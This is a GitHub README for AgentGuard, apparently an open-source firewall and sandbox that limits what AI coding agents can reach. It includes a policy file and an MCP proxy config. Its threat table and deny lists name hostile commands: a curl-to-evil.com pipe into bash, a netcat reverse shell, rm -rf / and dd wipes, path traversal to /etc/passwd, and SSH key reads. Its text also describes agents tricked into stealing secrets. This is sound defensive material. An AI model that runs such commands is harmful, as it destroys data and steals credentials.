Skip to content

Latest commit

 

History

History
271 lines (203 loc) · 9.56 KB

README.md

File metadata and controls

271 lines (203 loc) · 9.56 KB

🛡️ AgentGuard — AI Agent Permission Firewall & Zero-Trust Sandbox

CI License: Apache 2.0 Python: 3.10+ Protocol: MCP Compatible Security: Zero Trust

AgentGuard is an open-source, zero-trust runtime permission firewall and execution sandbox for autonomous AI agents (Claude Code, Cursor, Aider, AutoGen, LangChain/CrewAI, and MCP Servers).

          AI Agent (Claude Code / Aider / Cursor / Custom LLM)
                                   │
                                   ▼
          ┌──────────────────────────────────────────────────┐
          │               🛡️  AGENTGUARD FIREWALL             │
          ├──────────────────────────────────────────────────┤
          │  ✦ Filesystem Sandbox   ✦ Shell AST Inspector    │
          │  ✦ Secret Redaction     ✦ Network Egress Filter  │
          │  ✦ Rate & Byte Quotas   ✦ Human-in-the-Loop TUI  │
          │  ✦ MCP Gateway Proxy    ✦ JSONL Audit Telemetry  │
          └────────────────────────┬─────────────────────────┘
                                   │
                                   ▼
        Filesystem  │  Subprocess Execution  │  Network  │  MCP Servers

⚡ Why AgentGuard?

Autonomous AI coding agents can execute arbitrary commands, read sensitive directories, and write files. Giving an LLM direct root access to your machine poses serious risks:

  • Prompt Injection & Data Theft: An agent reading untrusted content can be tricked into exfiltrating ~/.ssh/id_rsa, ~/.aws/credentials, or .env.
  • Destructive Commands: Hallucinations or misunderstood instructions can trigger catastrophic commands (rm -rf /, mkfs, git push --force).
  • Secret Leaks: Agents dumping debug logs can inadvertently send proprietary API keys or customer PII into the model context or external logs.
  • Runaway Loops: Unsupervised recursive loops can execute thousands of unmonitored commands.

AgentGuard sits directly between your AI agent and the operating system, enforcing strict, declarative security policies.


✨ Key Features

  • 📂 Zero-Trust Filesystem Sandbox: Canonical path resolution, symlink escape defense, recursive glob rules (read, write, deny), and built-in protection for sensitive credentials (~/.ssh, ~/.aws, .env, /etc/shadow).
  • 🐚 Shell Command AST & Heuristic Inspector: Pre-execution AST tokenization, subshell restriction ($(...), backticks), pipeline protection, and detection of reverse shells, forkbombs, and destructive operations (rm -rf, dd, mkfs).
  • 🔒 Real-Time Secret & Token Redaction: Live multi-pattern stream redactor for 25+ secret formats (OpenAI, Anthropic, AWS, GitHub PATs, Stripe, SSH private keys, database connection strings).
  • 🙋 Human-in-the-Loop (HITL) Interactive TUI: Beautiful Rich terminal approval cards with risk badges (CRITICAL, HIGH, MEDIUM), diff summaries, and one-click session allowlisting.
  • 🔌 Model Context Protocol (MCP) Security Gateway: Seamless stdio JSON-RPC proxy for MCP servers (e.g. @modelcontextprotocol/server-filesystem, bash-mcp, fetch-mcp), validating tool parameters before they reach the server.
  • ⏱️ Rate Limits & Resource Quotas: Sliding-window action velocity limits (RPM), cumulative disk write quotas (MB), and execution timeout bounds.
  • 📊 Enterprise Audit Logging: Structured JSONL audit logs for SIEM integration + instant terminal security summaries.

🚀 Quickstart in 30 Seconds

1. Installation

pip install agentguard

Or install globally with pipx:

pipx install agentguard

2. Generate a Security Policy

Initialize a starter policy optimized for your agent:

agentguard init --preset claude-code

This creates an agentguard.yaml policy file in your current directory:

agent: claude-code
version: "1.0"
default_action: deny

filesystem:
  read:
    - "./**"
  write:
    - "./src/**"
    - "./tests/**"
  deny:
    - "~/.ssh/**"
    - "~/.aws/**"
    - "**/.env*"
    - "**/id_rsa*"

shell:
  allow:
    - npm
    - python
    - git
    - pytest
    - cargo
  deny:
    - "rm -rf /"
    - "curl * | bash"
    - "mkfs*"
  require_approval:
    - "git push --force*"
    - "npm publish*"
    - "pip install*"

secrets:
  enabled: true
  redaction_mask: "[REDACTED_{TYPE}]"

3. Run Your Agent Under AgentGuard

Wrap your agent CLI command:

# Supervise Claude Code CLI
agentguard run claude

# Supervise Aider
agentguard run aider

# Supervise any script or test runner
agentguard run python agent.py

🔌 Model Context Protocol (MCP) Security Gateway

AgentGuard acts as a zero-trust proxy between any MCP client (Claude Desktop, Cursor, Antigravity) and target MCP servers:

Claude Desktop  <── stdio ──>  AgentGuard MCP Gateway  <── stdio ──>  MCP Server

Claude Desktop Configuration (claude_desktop_config.json)

{
  "mcpServers": {
    "filesystem": {
      "command": "agentguard",
      "args": [
        "proxy-mcp",
        "--policy",
        "/path/to/agentguard.yaml",
        "--",
        "npx",
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/path/to/allowed/workspace"
      ]
    }
  }
}

When the client attempts to call read_file on ~/.ssh/id_rsa, AgentGuard intercepts the JSON-RPC request and returns a security violation without invoking the MCP server:

{
  "jsonrpc": "2.0",
  "id": 42,
  "error": {
    "code": -32000,
    "message": "Blocked by AgentGuard: Path '/home/user/.ssh/id_rsa' matched explicit filesystem deny policy."
  }
}

🐍 Python SDK Integration

Embed AgentGuard directly into LangChain, CrewAI, AutoGen, or custom LLM tool loops:

from agentguard import Guard, AccessDeniedError

# Load security policy
guard = Guard.from_file("agentguard.yaml")

# 1. Direct validation checks
guard.check_file_read("./src/app.py")     # ✔ Returns EvaluationResult (ALLOWED)
guard.check_shell("npm test")            # ✔ Returns EvaluationResult (ALLOWED)

try:
    guard.check_file_read("~/.ssh/id_rsa") # ❌ Raises AccessDeniedError
except AccessDeniedError as e:
    print(f"Blocked action: {e}")

# 2. Wrap custom agent tool functions with decorator
@guard.guard_tool("execute_bash")
def bash_tool(command: str) -> str:
    return os.popen(command).read()

# 3. Real-time prompt / secret redaction
clean_prompt = guard.redact_secrets("Found API key: sk-proj-1234567890abcdef1234567890abcdef")
# Result: 'Found API key: [REDACTED_OPENAI_KEY]'

🛡️ Threat Defense Matrix

Threat Category Example Attack AgentGuard Defense
Directory Traversal cat ../../../etc/passwd Canonical path resolution & boundary containment
Credential Theft read ~/.ssh/id_rsa, read .env Built-in blacklist & explicit pattern denial
Catastrophic Shell Execution rm -rf /, dd if=/dev/zero of=/dev/sda AST parser & critical signature blocker
Silent Exfiltration / C2 curl evil.com/payload | bash, nc -e /bin/sh Pipeline inspector & reverse shell heuristics
Accidental Overwrite git push --force origin main Interactive Human-in-the-Loop TUI approval modal
Ambient Secret Leaks Dumping .env or tokens to LLM context Live multi-pattern regex & entropy redactor (25+ formats)
Runaway Loops Infinite execution loop spawning 1000s of calls Sliding-window RPM & cumulative write quota limiters

📋 CLI Reference

Usage: agentguard [OPTIONS] COMMAND [ARGS]...

  🛡️ AgentGuard — AI Agent Permission Firewall & Zero-Trust Runtime Sandbox.

Commands:
  run        Supervise and execute an AI agent CLI command under security firewall.
  proxy-mcp  Start MCP Security Gateway proxying JSON-RPC requests to a target MCP server.
  check      Validate and inspect an agentguard.yaml security policy.
  init       Generate starter agentguard.yaml policy preset.
  audit      Inspect and summarize an AgentGuard JSONL audit log.

🧪 Running Tests

AgentGuard includes a comprehensive test suite covering all security engines, edge cases, and traversal attacks:

# Clone the repository
git clone https://github.com/agentguard-ai/agentguard.git
cd agentguard

# Install development dependencies
pip install -e ".[dev]"

# Run tests
pytest

🤝 Contributing

We welcome contributions from the security and AI community! Please see CONTRIBUTING.md for development guidelines, testing standards, and architecture maps.


🔒 Security & Vulnerability Reporting

If you discover a security vulnerability or bypass in AgentGuard, please report it privately following our SECURITY.md guidelines.


📄 License

AgentGuard is licensed under the Apache License 2.0.